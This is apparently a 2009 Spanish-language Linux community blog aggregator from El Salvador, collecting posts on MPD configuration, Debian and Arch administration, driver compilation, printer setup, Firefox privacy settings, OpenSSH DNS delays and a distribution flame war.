#------------------------------------------------------------------#
# File: /etc/mpd MPD configuration file #
# Author: William Díaz "leprosys" #
#------------------------------------------------------------------#

# {{{ General Options
music_directory "/home/leprosys/Music"
playlist_directory "/var/lib/mpd/playlists"
db_file "/var/lib/mpd/mpd.db"
log_file "/var/log/mpd/mpd.log"
error_file "/var/log/mpd/mpd.error"
pid_file "/var/run/mpd/mpd.pid"
state_file "/var/lib/mpd/mpdstate"
log_level "verbose"
user "mpd"
bind_to_address "127.0.0.1"
port "6600"
# }}}

# {{{ Character encondings
filesystem_charset "UTF-8"
id3v1_encoding "UTF-8"
# }}}


# {{{ Audio Output
audio_output {
type "alsa"
name "HDA Intel"
# device "hw:0,0"
format "44100:16:2"
}
# }}}

# {{{ Volume control mixer
#mixer_type "alsa"
#mixer_device "default"
#mixer_control "Master"

mixer_type "software"
# }}}

# {{{ Other Options
gapless_mp3_playback "yes"
# }}}


MPD & Sonata Rulez \m/

Para mayor información y configuración:
$ man mpd
http://musicpd.org
http://mpd.wikia.com/wiki/Configuration
http://wiki.archlinux.org/index.php/Mpd

18 de May de 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

YouTube: Videos del Flisol 2009 en El Salvador

Lamentablemente no pude asistir al Flisol de este año, es un poco tarde esta entrada pero ni modo, aqui dejo unos videos de lo que paso:












17 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

Arranque rápido en ArchLinux - Inicio en 14 segundos :)



Ahora inicio mi PC en 14 segundos, comparado a los 25 de antes con mi kernel personalizado, esto es posible con una modificación a algunos archivos de arranque gracias al paquete Quick-init y el único archivo que reemplaza es inittab.

Cuando lo instalen hará un backup del archivo inittab pero asegúrense de que copiar inittab.pacsave a inittab antes de desinstalarlo.

Es compatible con muchas PCs pero esta por el momento en fase experimental, por lo que si encuentran algún bug lo pueden reportar en este post así como también pueden encontrar alguna sugerencias para iniciar mas rápido.

El paquete se llama Quick-init y se encuentra en AUR para los que quieran probarlo.

14 de May de 2009

Victor Ostorga

pinfo, visualizando páginas info de una mejor manera

No es algo extraño que al ejecutar man comando, se visualice al final de la manpage algo como lo siguiente:

The full documentation for ls is maintained as a  Texinfo  manual.   If
the  info and ls programs are properly installed at your site, the com‐
mand

info coreutils ‘ls invocation’

should give you access to the complete manual.

En lo personal no me agrada la interfaz del comando info, debido a que no siento que sea intuitiva.

Pero recientemente descubrí el comando pinfo el cual usando resaltación de sintaxis, colores y zonas contextuales hace completamente amigable la interfaz del comando info.

Para utilizarlo simplemente reemplazamos info por pinfo.

Les dejaré a ustedes la experimentación del comando y que hagan su propio criterio del mismo.

13 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

Nace Arch Stuff



Arch Stuff es un proyecto bastante nuevo, el principal punto de contacto y creador del proyecto es Dan Griffiths.
El nuevo sitio de la gente que trajo gnome-look y kde-look, arch-stuff es un repositorio de arte de Arch y similares.

El sitio aun esta beta, porque hay cosas que están en proceso (ejemplo de ello es la sección AUR, que no se sabe que habrá) pero como dice Dan Griffiths este ya es un buen comienzo :) Y se puede empezar a subir para poblar el sitio de contenido.


Vía | ArchLinux Forum

08 de May de 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Mysql : restaurar password root

Restaurar la clave de root para mysql en Debian lenny.

1- Detener el servicio de mysql
/etc/init.d/mysql stop
2- Iniciar mysql para que no pida autenticacion
mysqld --skip-grant-tables&
3- Ingresar a la consola de mysql
mysql
4- Cambiar la clave con:
UPDATE mysql.user SET Password=PASSWORD('claveroot') WHERE User='root';
5- Detener el servicio de nuevo
/etc/init.d/mysql stop
6- Iniciar el servicio de nuevo
/etc/init.d/mysql start
7- Ingresar como el usuario root
mysql -p


Saludos

06 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

svn: warning: cannot set LC_CTYPE locale [Solución]

Hoy estaba compilando amsn-svn y cuando empezó svn a ejecutarse me mando esta salida:
svn: warning: cannot set LC_CTYPE locale
svn: warning: environment variable LC_ALL is en_AU.UTF-8
svn: warning: please check that your locale name is correct


Para saber si les pasa lo mismo pueden ejecutar este comando:
svn info


Y si tengo bien configurado mi /etc/locale.gen:
en_US.UTF-8 UTF-8
en_US ISO-8859-1


Y Luego ejecute como root:
locale-gen


Todo parece estar bien, pero el error persiste, la solución practica y sencilla es añadir la siguiente linea al ~/.bashrc o ~/.zshrc o lo que utilicen xD:
export LC_ALL=C
La solución la encontré en el blog Armenian Eagle.

Y ahora ya funciona svn sin este error \m/

04 de May de 2009

Victor Ostorga

Impresora Ricoh Aficio MP200 bajo GNU/Linux

Generalmente no hubiera puesto un post sobre instalar una impresora, porque  gracias a CUPS es un proceso sencillo (siempre que se sepan los pasos) .

Y de eso se trata el post, mostrar de una forma directa los pasos a tomar para configurar este modelo del impresor.

Primero deberemos de descargar el PPD de pxlmono-Ricoh del sitio openprinting.org , que es el recomendado. CUPS podría tener el PPD incorporado, pero es mejor asegurarnos de bajar el del sitio anterior.

En la interfaz web de cups procedemos a agregar la nueva impresora, especificando que utilizaremos el “Device” AppSocket/HP JetDirect y especificando como  Device URI socket://ip-impresor:9100 .

A continuación especificamos que utilizaremos el archivo PPD que descargamos anteriormente y finalmente agregamos el impresor.

En mi caso tengo asignado un “código” para poder imprimir, y para poder configurarlo tendremos que modificar el archivo ppd correspondiente a la impresora, tal como en el siguiente comando:

sed -i “s/1001/xxxxx/g” /etc/cups/ppd/Ricoh_Aficio.ppd

Donde :

  • 1001 es un código por defecto que trae el PPD
  • xxxxx corresponde al código de impresión
  • el nombre de la impresora sea “Ricoh Aficio”, el cual variará de acuerdo al nombre decidido al momento de crearla en la interfaz web de cups

Nos dirigimos nuevamente a la interfaz web de CUPS, buscamos la opción “Set printer options”, luego  “User Code (up to 8 digits)” donde seleccionamos el código modificado por sed.

Listo, la impresora está configurada; realmente el proceso de configuración es sencillo pero conocerlo previamente es mucho mejor :)

01 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

Broadcom 802.11 Linux STA driver en kernel 2.6.29

Ahora como dije en el pasado post he instalado el kernel 2.6.29 y no hay un parche o driver oficial departe de broadcom por lo que hay que hacer uso de un parche de la gente de Gentoo.

He optado por hacerlo manualmente, los pasos son los siguientes:

1. Crear una carpeta:
$ mkdir hybrid_wl

2. Irnos a la carpeta
$ cd hybrid_wl

3. Descargar el Driver:
$ wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5_10_79_10.tar.gz

Nota: este es para la versión x86_64 si tienes un sistema x32 cambia la url por la correspondiente.

4. Descomprimimos el archivo:
$ tar -xzf hybrid-portsrc-x86_64.tar.gz

5. Descargamos los parches:
$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/linux-2.6.29.patch
$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/wl_iw_v2.patch
$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/hidden-essid.patch

6. Parcheamos:
$ patch -p1 -d src/wl/sys  linux-2.6.29.patch
$ patch -p1 -d src/wl/sys wl_iw_v2.patch
$ patch -p1 -d src/wl/sys hidden-essid.patch

7. Compilamos:
$ make -C /lib/modules/`uname -r`/build M=`pwd`

8. Como root cargamos el modulo:
# modprobe lib80211_crypt_tkip
# insmod wl.ko
# cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
# depmod -a
# modprobe wl

Nota: el modulo ieee80211_crypt_tkip ahora se llama lib80211_crypt_tkip.

Ahora ya funciona :D

Para la versiones mas antiguas del kernel este post.

30 de April de 2009

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Awesome

Después de oír mucho sobre este gestor de ventanas he decidido usarlo y funciona muy bien...




Gustavo Burgos (gnburgos)

29 de April de 2009

Victor Ostorga

apt : Recommends

En Debian GNU/Linux, cuando se desea instalar un paquete, por ejemplo Gnome,  agrega a la lista de paquetes a instalar un sinfin de programas que no tienen ni la mas mínima relación o que se desconoce porque razón lo desea instalar.

En el caso de hacer un apt-get install gnome , software como rhythmbox,  rpm, wodim, wpasupplicant, sane-utils, p7zip, liferea entre muchos muchos otros que NO SON NECESARIOS para utilizar Gnome  se ven instalados.

La verdad que tener que instalar todo ese software, porque alguien pensó que era una buena idea™ incluirlo es realmente muy molesto.

La instalación del sinfin de software se debe a los Recommends , que según la documentación de Debian son paquetes que deberían de ser instalados siempre a menos que sea una instalación excepcional.

Pero existe una “solución” a este inconveniente, tal como la mencionó un tal rmayorga.

# apt-config dump |  grep Reco |  sed ’s/1/0/’ > /etc/apt/apt.conf.d/02user

lo que deja una línea similar a APT::Install-Recommends “0″; en el archivo /etc/apt/apt.conf.d/02user .

La diferencia es notoria, con el apt-get install gnome :

Antes:

0 upgraded, 842 newly installed, 0 to remove and 0 not upgraded.
Need to get 592MB of archives.
After this operation, 1588MB of additional disk space will be used.

Después:

0 upgraded, 494 newly installed, 0 to remove and 0 not upgraded.
Need to get 366MB of archives.
After this operation, 952MB of additional disk space will be used.

28 de April de 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Sobre Twitter, Debian, un Troll y un Flame

En Twitter me encontre un Troll. Armando un Flame sobre Mandriva, que si Mandriva parece Windows, que Mandriva pone anuncios durante la instalacion y otras tonterias.

Veamos la mejor politica contra un Troll es ignorarlo, pero me agarro en un mal momento y le respondi, al parecer toque algun punto sensible, porque respondio con un post en su Blog, quiero clarificar algunos puntos:

¿Debian puede tener muchos derivados, significa que es mejor por eso? Significa que tiene una poblacion mas grade de usuarios avanzados, que pueden mantener una Distro. Entonces Debian es mala. No ¿entonces en que quedamos? Debian es una de las Distros mas viejas, no la mas vieja y no la mejor, ni la mas libre, ni la unica y exclusiva para el uso. Debian es otra Distro mas, tiene sus fortalezas y debilidades como todas. Asi tambien tiene su nicho de usuarios a los que esta orientada.

Si Debian fuera la solucion Linux por excelencia, ¿porque existe Ubuntu? ¿porque hubo una gran filtracion de desarrolladores a Ubuntu? Debian es una excelente base para construir una Distro sobre ella por algo y ese algo se llama APT.

Ahora bien sobre Mandriva ¿cuantas Distros estan basadas en Mandriva? que yo sepa solo PClinuxOS ¿entonces estamos en desventaja? ¿porque no se usa Mandriva como base? bueno si yo tuviera el tiempo lo haria pero ese no es el caso. Buscando en Wikipedia veo que hay otra distro basada en Mandriva llamada MCN-Live. Indudablemente Debian tiene mas usuarios y mas Distros basada en ella.

Ahora bien ¿es Mandriva para usuarios novatos? ¿que parametro se toma para dar tal juicio? yo creo que soy un administrador responsable con alrededor de 10 años de usar Linux y me gusta usar en mis servidores Mandriva. Cuando inicie en esto del Software Libre usaba Mandrake y Slackware pero por cosas del estudio y al poco tiempo que me fue quedando para configurar las cosas me quede solo con Mandrake luego se convirtio en Mandriva. Oigame señor Troll yo se de que hablo 10 años no es poco en ningun ambito y menos en el Software Libre en el que el desarrollo del software es brutalmente rapido. ¿Hace cuanto usa usted Debian? yo he instalado infinidad de Servidores Mandriva en varias empresas y puedo dar fe que aun funcionan. Ahora por haberme dedicado mas a mi estudio y al negocio de mi familia me he alejado del trabajo de Administrar Sistemas Linux. Mi ultimo trabajo consistio en migrar El Hospital de Santa Ana a Mandriva Linux cosa de lo cual estoy orgulloso. Mi trabajo fue base y ejemplo para la implementacion de lo mismo en otros lugares, si no me equivoco el Ministerio de Salud esta implantando Sistemas Ubuntu en los Hospitales y Unidades de Salud en El Salvador. Por lo cual puedo decir con propiedad que Mandriva es una distro que se puede usar en Servidores, puede ser usada para Desktop y para sistemas de produccion, puede ser usada por novatos y por usuarios avanzados.

Debian tiene 16 años si no me equivoco, Slackware tiene 17 o 18 pero fue la primer Distro como las conocemos ahora. Yo use Slackware por varios años ¿tengo garbo por ello? Mandriva tiene 10 u 11 años de existencia, ¿es el tiempo sinonimo de calidad? oigame no estamos tan lejos en el tiempo, si fuese asi Slackware es mejor que su Debian, Señor Troll.

Sobre las arquitecturas de Mandriva, esta solo desarrolla para i586 y x86_64, antes habia una version para PPC pero se abandono su desarrollo por el poco uso. Mandriva es una empresa pequeña no tiene los recursos que tienen Debian y aun asi es muy reconocida. ¿No vale eso Señor Troll?, si Mandriva tiene una empresa detras de ella, tambien Fedora, tambien SuSE, tambien Ubuntu.

Hasta ahora no he visto ningun punto tecnico valido, sus derivados de Debian no me interesan ¿acaso no es por Debian que aboga usted? el tema de las arquitecturas es muy bueno porque Mandriva esta delimitada a solo 2. Debian tiene mas personas que ayudan en su desarrollo y aun asi si mal no recuerdo hace unos años tambien dejo de continuar el desarrollo de algunas arquitecturas tambien. ¿Es por eso ahora Debian peor?. Si Señor Troll tiene razon Debian funciona en mas arquitecturas que Mandriva, esto es proporcional a la gente que tiene cada Distro.

Señor Troll ¿usted doma su Distribucion Debian? Yo no necesite domar nada, un usuario avanzado aprende a usar las herramientas del Sistema y Linux es Linux siempre funcionara igual. Si se puede usar en una Distro se puede en todas virtualmente. ¿Garbo? no me importa el Garbo si se siente realizado porque aprendio a instalar Debian, Señor yo he instalado muchos sistemas BSD, he instalado sistemas RedHat, SuSE, Fedora, Debian, Ubuntu, Slackware y por supuesto Mandriva y eso no dice nada que los usuarios o mejor dicho que usted se sienta realizado como humano por usar Debian no significa nada sino que tiene muy poca autoestima ya que hay sistemas mas dificiles de instalar que Debian.

Ahora mismo no tengo tiempo para buscar enlaces de ciudades que han usado Mandriva en su Servicio Publico pero si hay, espero poder agregar los enlaces en una actualizacion de este post.

Señor Troll, ¿en que se basa para decir que Debian es excelente y las demas no? ¿en su garbo? no es un buen parametro. El potencial de una Distribucion Linux esta sobre el fundamento que es el usuario que lo usa, si usted es un mediocre su Distro funcionara mediocremente si usted es un excelente usuario su Distro funcionara excelentemente.

Mandriva colabora activamente en muchos ambitos del Software Libre, como por ejemplo con KDE y el Kernel, ademas de sus versiones comerciales libera bajo GPL todo lo que desarrolla usted mencionaba que la Mandriva Flash no es GPL se equivoca, Mandriva Flash es GPL lo que no es GPL es el Software Propietario que viene en ella (Plugin de Flash o el Driver de Nvidia o el Driver de ATI) como sucede en todas las Distros.

Señor con todo el respeto que se merece pero a mi parecer usted no sabe de lo que habla claro Debian es una excelente Distro pero tambien lo es Mandriva, Fedora, SuSE o Slackware, mi distribucion es una Distribucion marcada por el FUD que escribe gente como usted que gusta de engañar gente haciendola creer que por usar Debian es mejor "linuxero".

25 de April de 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Proximo experimento en mente


  1. aprender a usar Wake on Lan

  2. Aprender a usar Wake on Wan

  3. Generar llaves SSH en Desktop

  4. Que Laptop se conecte a Desktop por llaves SSH

  5. Generar llaves en Laptop

  6. Que Desktop se conecte a Laptop por llaves SSH

  7. Que Desktop intente conectarse a Laptop por SSH siempre que inicie el sistema

  8. Que Desktop envie a Laptop un aviso siempre que alguien se conecte por SSH

20 de April de 2009

David Mejia

Festival Latinoamericano de Software Libre, FLISOL 2009

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.

¿Qué habrá en el FLISOL?

Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:

  • Charlas
  • Instalación y Quemado de Distros
  • Conocimiento de Alternativas libres de mucho software de utilidad
  • Compartimiento de experiencias, porque encontrarás mucha gente con experiencia que puede resolver muchas dudas que tengas.

¿Donde Puedo Llegar?

Habrán dos sedes

¿A qué horas?

La hora de inicio será a las 9:00am y terminará a las 4:30pm

Recursos

Si hay algo más que agregar, favor enviar un comentario complementando la información.

Están cordialmente invitados!!

Saludos

15 de April de 2009

Victor Ostorga

Hash SHA512 en /etc/shadow

Desde la version 20080801 pambase provee la posibilidad de activar passwords  encriptados con SHA512 en /etc/shadow. SHA512 provee un mar de ventajas sobre MD5 el cual ha demostrado ser preocupantemente  vulnerable.

Para poder ocuparlo es necesario tener pambase-20081028, y tener compilado pam contra una version de glibc >= 2.7.  Para aplicar el hash en el archivo simplemente se cambia la contraseña del usuario.

Como saber si están ocupando SHA512 en /etc/shadow ?

fgrep ‘$1$’ /etc/shadow

Cada línea que muestre es un hash MD5.

10 de April de 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Brasil ahorró 123,7 millones de euros gracias al Software Libre

En la lista de corre Linuca me encontre este correo me parece interesante:


http://www.elmundo.es/elmundo/2009/04/06/navegante/1239001666.html

Lo que viene a sumarse a recientes buenas noticias como la de la micgración de la gendarmería francesa a sistemas basados en Software Libre y abundando en numerosos estudios hechos sobre el coste al erario público de las licencias de Microsoft y el ahorro e independencia del proveedor, impulso a la libre competencia y al desarrollo de una industria local, evitar la fuga de capitales, etc, etc que supone apostar por el Software Libre para las administraciones públicas:

http://bulma.net/body.phtml?nIdNoticia=2476

http://www.baquia.com/noticias.php?id=9570

http://neutralidad.es/informes/Primer_Informe_R2.pdf

http://www.internautas.org/html/3950.html

http://www.gulic.org/node/1090

Saludos.
David B.

http://stopsoftwarepatents.org/
http://www.nosoftwarepatents.com/es/m/dangers/linux.html

03 de April de 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Instalacion Debian Lenny DELL Inspiron 6400

Hace algun tiempo que queria "limpiar" mi laptop ya que tenia debian Sid y muchos programas instalados y mal funcionando, ahora lo decidí usando debian lenny.

Pasos:
1. Insertar el disco de instalacion de lenny y seguir el asistente;
en mi caso, borre las tablas de particiones con dd y deje que el asistente eligiera el tamaño de las particiones home, usr, var, boot (espero no arrepentirme).

2. Todo funcionó perfectamente con un entorno gnome, pero ahora mi gusto va mas por LXDE que es un uen esritorio.

3. Problemas, algunos de lso que tuve fue:

3.1 Tarjeta de red inalambrica
0b:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection (rev 02)

que antes del kernel 2.6.26 funcionaba con el modulo ipw3945, ahora ya no lo hace sino con el modulo iwl3945 (ponerlo en /etc/modules) con lo que solo requeria instalar el firmware firmware-iwlwifi y LISTO!! funcionó de maravilla.

3.2 Tarjeta gráfica Nvidia
01:00.0 VGA compatible controller: nVidia Corporation G72M [Quadro NVS 110M/GeForce Go 7300] (rev a1)

Con el que antes descargaba los fuentes de la página de la nvidia, ahora quise intentar algo diferente que encontré en http://www.esdebian.org/foro/5801/drivers-nvidia-debian y que con el module-asistant , compilandolos funcionaron bien.
Ahora tengo instalados los siguiente paquetes nvidia
i nvidia-glx 173.14.09-5 NVIDIA binary Xorg driver
ii nvidia-kernel-2.6.26-1-686 173.14.09-5+2.6.26-13lenny2 NVIDIA binary kernel module for Linux 2.6.26
ii nvidia-kernel-common 20080825+1 NVIDIA binary kernel module common files
ii nvidia-kernel-source 173.14.09-5 NVIDIA binary kernel module source
ii nvidia-settings 173.14.09-1 Tool of configuring the NVIDIA graphics driv
ii nvidia-xconfig 1.0+20080522-2 The NVIDIA X Configuration Tool


Maravilla module-asistant, además tuve que cambiar mi /etc/X11/xorg.conf por


Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0"
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Mouse0" "CorePointer"
EndSection

Section "Files"
RgbPath "/usr/X11R6/lib/X11/rgb"
EndSection

Section "Module"
Load "dbe"
Load "extmod"
Load "type1"
Load "freetype"
Load "glx"
EndSection

Section "InputDevice"
# generated from default
Identifier "Mouse0"
Driver "mouse"
Option "Protocol" "auto"
Option "Device" "/dev/psaux"
Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
EndSection

Section "InputDevice"
# generated from default
Identifier "Keyboard0"
Driver "kbd"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "latam"
EndSection

Section "Monitor"
Identifier "Monitor0"
VendorName "Unknown"
ModelName "Unknown"
HorizSync 30.0 - 110.0
VertRefresh 50.0 - 150.0
Option "DPMS"
EndSection

Section "Device"
Identifier "Device0"
Driver "nvidia"
VendorName "NVIDIA Corporation"
EndSection

Section "Screen"
Identifier "Screen0"
Device "Device0"
Monitor "Monitor0"
DefaultDepth 24
SubSection "Display"
Depth 24
EndSubSection
EndSection




Y listo!!!

Solo me quedo un problema por resolver, mi lector de tarjetas multiples

03:01.1 SD Host controller: Ricoh Co Ltd R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter (rev 19)

Ahora solo tocaba configurar el escritorio que aun estoy en proceso y claro el fusion-icon.

Saludos

02 de April de 2009

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

Software Libre y desarrollo tecnológico de El Salvador

IntroducciónEn este artículo se trata de dar una visión general sobre Software Libre y su mayor exponente, el Sistema Operativo GNU/Linux (Un Sistema Operativo esta compuesto por una serie de programas que tratan de facilitar la interacción del usuario de computadora con el hardware de la misma), Filosofía de desarrollo, características principales, situación de software libre en Latinoamérica,
Salvador Osorio

Salvador Osorio
Casos y Cosas feed

Pequeñas y medianas empresas pueden potenciar sus negocios si usan Software Libre

El PNUD (Programa de las Naciones Unidas para el Desarrollo) ha hecho un estudio sobre como el Software Libre puede potenciar los negocios de la micro y pequeñas empresas en chile, por aca les dejo el enlace Pequeñas y medianas empresas pueden potenciar sus negocios si usan Software Librehttp://www.pnud.cl/prensa/noticias-2007/20-04-2007.asp

29 de March de 2009

Victor Ostorga

Conexiones “indeseables” a sitios web hechas por Mozilla Firefox 3

Accidentalmente encontré lo siguiente en el archivo prefs.js de mi perfil de Mozilla Firefox:

user_pref(”urlclassifier.keyupdatetime.https://sb-ssl.google.com/safebrowsing/newkey”, 1239679819);

Con google convirtiéndose en el monopolio informático del siglo XXI, NO QUIERO que mi información de navegación se almacene en alguna de sus bases de datos.

Haciendo un poco de búsqueda la conexión a ese sitio es conocido como “Safe Browsing”, en resumidas cuentas se conecta a esta dirección para comprobar si un sitio es “Seguro o no”. Desactivarlo es tan fácil como dirigirse a about:config y cambiar el valor de browser.safebrowsing.enabled y browser.safebrowsing.malware.enabled a false (doble click encima de sus nombres y se desactiva).

Lamentablemente, esa no es la única “característica” por la  que Firefox intentará conectarse a un sitio web a nuestras espaldas, otro ejemplo es:

Sugerencias al escribir en la “barra de búsqueda”

Aunque sepamos que vamos a buscar (creo que eso es la mayoría de casos cierto?) siempre se conecta a google para darnos “sugerencias de búsqueda”.

Para desactivarlo establecemos  Browser.search.suggest.enabled a false

Keywords (sugerencia al escribir en la barra de direcciones)
La característica de las sugerencias al escribir una dirección web es sin duda una gran ayuda, hasta que nos damos cuenta que cada teclazo manda un request a google.
Para desactivarlo se establece keyword.enable a false

Y la lista continúa, pero me salvó el hecho de encontrar el link http://support.mozilla.com/en-US/kb/Firefox+makes+unrequested+connections donde habla de las conexiones “indeseadas de firefox” a otros sitios.
Una advertencia es que alguna de estas conexiones puede ayudar a aquellos usuarios que ingresan a cualquier sitio web sin medir las consecuencias, pero que definitivamente afecta la privacidad de todos.

26 de March de 2009

Victor Ostorga

OpenSSH y configuración de DNS

Recientemente me fijé que un Linux Box tardaba demasiado tiempo (unos 6 segundos) para pedirme la contraseña una vez ingresado el comando ssh user@ip

Haciendo una depuración del lado del cliente, se mostraba lo siguiente:

debug2: set_newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug2: set_newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug2: key: /home/vostorga/.ssh/id_rsa
debug2: key: /home/vostorga/.ssh/id_dsa

<una pausa de 6 segundos>

debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Offering public key: /home/vostorga/.ssh/id_rsa
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password
debug1: Trying private key: /home/vostorga/.ssh/id_dsa
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
root@192.168.x.x’s password:

Al principio pensé que había algún problema con los tipos de autenticación disponibles en el servidor, pero viendo un problema parecido del joven jmaslibre con su DNS, me puse a revisar la configuración de dns del servidor OpenSSH, en otras palabras /etc/hosts y /etc/resolv.conf y resultó que la IP especificada en /etc/resolv.conf no  estaba ofreciendo DNS.

Lo curioso es que si no se especificaba servidor DNS o se agregaba otro, funcionaba correctamente, a pesar de estar trabajando en una LAN.

El servidor OpenSSH quería hacer una resolución inversa y esos segundos de pausa era el intento fallido de realizar dicha operación, por lo que las soluciones pueden incluir:

  • Verificar /etc/hosts
  • Verificar que /etc/resolv.conf no contengan servidores inválidos
  • Deshabilitar en el archivo sshd_config la resolución inversa con el parámetro UseDNS no

24 de March de 2009

William Díaz

William Díaz
LEPROSYS feed

Instalando Google Earth 5 en Linux



La instalación es sencilla, lo primero que hay que hacer es descargarlo:
Nos dirigimos a la carpeta donde bajamos el archivo y lo instalamos:
# sh GoogleEarthLinux.bin

Porque no utilice el meto de instalación de googleearth-package de Debian? porque no ha sido actualizado aun para poder hacerlo.

Bien luego de la instalación me ha salido el siguiente error:

./googleearth-bin: relocation error: /usr/lib/i686/cmov/libssl.so.0.9.8: symbol BIO_test_flags, version OPENSSL_0.9.8 not defined in file libcrypto.so.0.9.8 with link time reference


La solución es la siguiente:

Nos vamos donde instalamos Googgle Earth yo lo instale en /usr/share/google-earth pero por defecto la ruta de instalación es /opt/google-earth:
# cd /opt/google-earth

Le cambiamos el nombre al archivo libcrypto.so.0.9.8:
# mv libcrypto.so.0.9.8 libcrypto.so.0.9.8.old

Realizamos un enlace simbolico de nuestra libreria:
# ln -s /usr/lib/libcrypto.so.0.9.8 libcrypto.so.0.9.8

Enjoy!!!
William Díaz

William Díaz
LEPROSYS feed

¿Debian es una distribución para servidores?

En muchos blogs, wikis y de más e visto que hablan como Debian para servidores, pero la pregunta es: ¿Debian es una distribución para servidores?. Tengo poco utilizando Debian quizás un poco más de un año, esta es mi experiencia con Debian quizás algunos consideren que estoy equivocado a lo mejor lo este hehe todo depende de los puntos de vista.

Debian tiene tres ramas conocidas por muchos aunque yo considere que son 5: 1. la vieja estable (actualmente etch), 2. la estable (actualmente Lenny), 3. la de pruebas (actualmente squeeze), 4. inestable (siempre llamada sid) y 5. experimental.
Aunque Experimental no tiene paquetes suficientes para poder armar un disco funcionable, porque son muy pocos paquetes los que se encuentran ahí.

Ahora la respuesta a la pregunta: ¿Debian es una distribución para servidores?
Repuesta: NO ES SOLO PARA SERVIDORES.

La estabilidad no hace que una distribución sea solamente para servidores, la estabilidad es algo que muchas personas buscan y sobre todo la seguridad que todo funcionara bien, no solamente los encargados en un servidor, muchas personas quizás habrán instalado Lenny es sus PCs de uso porque piensan que es como las demás que cuando salen trae mucho programas nuevos y es muy cierto actualmente Lenny cuenta con 25113 paquetes han entrado muchos paquetes nuevos y actualizados, pero que se consideran son estables por lo que no podrían ser la ultima versión que encontremos en las fuentes o en otras distribuciones así llamadas estables.

Las rama estable tarda tanto en salir porque el proceso de que los paquetes pase primero por experimental luego a inestables después a pruebas y por ultimo estable es algo largo dependiendo los bugs que se encuentren y la cantidad que como pueden ver son muchos. ¿Como podríamos a ayudar que el proceso fuese mas rápido? pues meterse a colaborar en el proyecto es una buena idea, en mi caso aún me falta aprender algunas cosas para no recibir puteadas y colaborar.

Por otra parte hay que considerar que Debian no es solo la rama Estable es por ello que existen muchas mas ramas, la de prueba que es la que muchos utilizan en sus ordenadores porque contiene mas paquetes y son paquetes mas actualizados que los podemos encontrar en Lenny por las razones que aún están a prueba o no se consideran estables por un bug.
Esta rama es recomendable para aquellas personas que quieren paquetes mas actuales que la estable y no busquen actualizar su sistema tan seguido.

Por otra parte encontramos la rama inestable que es la que actualmente utilizo la cual no sacan día porque seria un trabajo demasiado loco fabricar tantos discos para una rama que se actualiza diariamente y que diariamente entran nuevos programas es algo arduo y loco.
¿Porque utilizo inestable? pues es una pregunta que alguien se tiene que hacer cuando instala Debian es:
¿Que es lo que buscas?
Busco programas nuevos, me gusta tener la ultima versión de escritorio aunque se puede lograr con otras ramas, pero prefiero que la mayoría de programas sean lo mas nuevo.

Por lo que queda a decisión personal la rama que alguien quiera utilizar, es bastante obvio que alguien que solo conoce estable diga que los programas son viejos, pero se les olvida que son estables, por eso la decisión es personal a la hora de elegir una rama.

¿Porque inestable?
¿Y porque no?, muchas distribuciones salen diciendo esta es la nueva estable cuando quizás solo tiene un año o menos de desarrollo y tienen muchos bugs pero sigue siendo llamada estables.
Creo que no es saludable ponerle fechas a los lanzamientos de una distribución estable hasta que sea en serio estable, ya que al final eso es lo que importa.

Porque además estoy muy feliz con la mezcla de programas de inestable con experimental.

Pues con esto yo tengo programas que en otras distribuciones los ponen en sus últimos lanzamientos y que a muchas veces es mas estable en Debian, recuerdo tener una experiencia dolorosa utilizando Ubuntu 8.04 con su estabilidad y fue lo que me hizo cambiarme a openSUSE.

Una respuesta que me parecía graciosa también: Debian no es solo para servidores porque mi laptop no es un servidor :D

Otra cosa de la cual se habla es de la experiencia que un usuario debe de tener para usar Debian, acaso ¿da miedo la espiral? de algo que podría hacer otro post pero lo resumiré acá.
Debian es una distribución intuitiva y tan minimalista o completa como uno quiera o aprecie, los conocimientos técnicos que se deben de tener para usarla no son muchos.
Como saber que no te frustraras usando Debian: 1. Te gusta buscar en internet, 2. No le tienes miedo a la terminal, 3. Te gusta la curiosidad

Google es un amigo sabio y el que no lo conoce habla de lo difícil que es utilizarlo, lo primero que hay que hacer antes y después de instalar un OS no es como tunearlo como muchos hacen, es documentarse, porque así evitamos preguntas que están documentadas en toda la internet.

